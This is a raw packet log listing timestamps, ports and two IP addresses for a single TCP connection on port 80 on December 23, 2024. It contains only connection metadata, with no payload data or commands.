Dec 23, 2024 08:08:01.757687092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.757735014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.757833004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.757915020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.757926941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.757975101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.758961916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.758991957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.759005070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.759021044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.759033918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.759803057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.759851933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.759865999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.759902954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.760773897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.760838985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.760849953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.760875940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.760912895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.761811018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.761862040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.761874914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.761918068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.762729883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.762784004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.762790918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.802551985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.824258089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.824274063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.824333906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.824378967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.824457884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.824470997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.824515104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.825361013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.825402021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.825413942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.825428009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.825563908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.826354027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.826427937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.826451063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.826499939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.827382088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.827404022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.827415943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.827439070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.827476978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.828231096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.828320026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.828334093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.828373909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.829257011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.829293966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.829308033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.829318047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.829400063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.830197096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.880724907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.886538029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.886573076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.886586905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.886631012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.886956930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.886998892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.887008905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.887022972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.887061119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.887954950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.888000965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.888014078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.888056040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.888875008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.888945103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.888956070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.888967991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.889049053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.889843941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.889904022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.889916897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.889942884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.890829086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.890875101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.890887976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.890888929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.890927076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.891798973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.891874075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.891889095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.892024040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.892808914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.892848969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.892862082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.892874956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.893083096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.893749952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.893810987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.893824100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.893853903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.894715071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.894773006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.894772053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.894795895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.894826889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.895711899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.895766020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.895780087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.895804882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.896671057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.896713972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.896749973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.896763086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.896795988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.897649050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.897726059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.897739887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.897783995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.898598909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.898647070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.898675919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.898699999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.898736000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.899566889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.899666071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.899678946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.899811983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.900527954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.900572062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.900587082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.900600910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.900631905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.901503086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.901592970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.901621103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.901659012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.902487993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.902546883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.902561903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.902575016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.902621031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.903439045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.903531075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.903544903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.903579950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.904428005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.904469013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.904536009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.904547930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.904587984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.905414104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.905469894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.905482054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.905508995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.906372070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.906409025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.906449080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.906476021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.906512022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.907304049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.949645042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.949723005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.949737072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.949773073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.949774027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.950086117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.950159073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.950171947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.950200081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.951055050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.951096058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.951131105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.951144934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.951190948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.952040911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.952116013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.952127934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.952186108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.952991009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.953027964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.953073978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.953088045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.953120947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.953965902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.954034090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.954046965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.954068899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.954967976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:01.955001116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:01.955039024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.005667925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.016618013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.016643047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.016655922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.016700029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.016972065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.017030001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.017174959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.017268896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.017281055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.017318964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.018177986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.018223047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.018255949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.018269062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.018326998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.019121885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.019176006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.019186974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.019217968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.020111084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.020163059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.020178080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.020193100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.020229101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.021044970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.021120071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.021131039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.021167994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.022057056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.022095919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.022129059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.068196058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.079080105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.079159021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.079171896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.079246998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.079631090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.079683065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.079725981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.079739094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.079884052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.080471039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.080718994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.080780983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.080795050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.080820084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.080843925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.081681013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.081794024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.081820965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.081832886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.082650900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.082700968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.082710981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.082722902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.082766056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.083658934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.083699942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.083717108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.083794117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.084619999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.084672928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.084686041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.084698915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.084734917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.085640907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.085654020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.085669041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.085701942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.086534023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.086590052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.086632967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.086646080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.086740971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.087526083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.087601900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.087615013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.087661982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.088493109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.088584900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.088598013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.088601112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.088742971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.089447975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.089525938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.089538097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.089577913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.090420008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.090466976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.090497017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.090511084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.090544939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.091424942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.091481924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.091497898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.091537952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.092360973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.092407942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.092437029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.092448950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.092492104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.093326092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.093398094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.093415022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.093441963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.094350100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.094412088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.094418049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.094425917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.094468117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.095269918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.095350981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.095361948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.095402002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.096251011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.096306086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.096332073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.096343994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.096385956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.097501993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.097532988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.097546101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.097589016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.098215103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.098257065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.098263025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.098275900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.098315001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.099180937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.099327087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.099339008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.099400043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.141923904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.141949892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.141964912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.141976118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.142004967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.142294884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.142348051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.142362118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.142404079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.143244982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.143347025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.143378973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.143395901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.143470049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:02.144234896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.144299984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:02.144315004 CET	80	49744	185.215.113.16	192.168.2.4
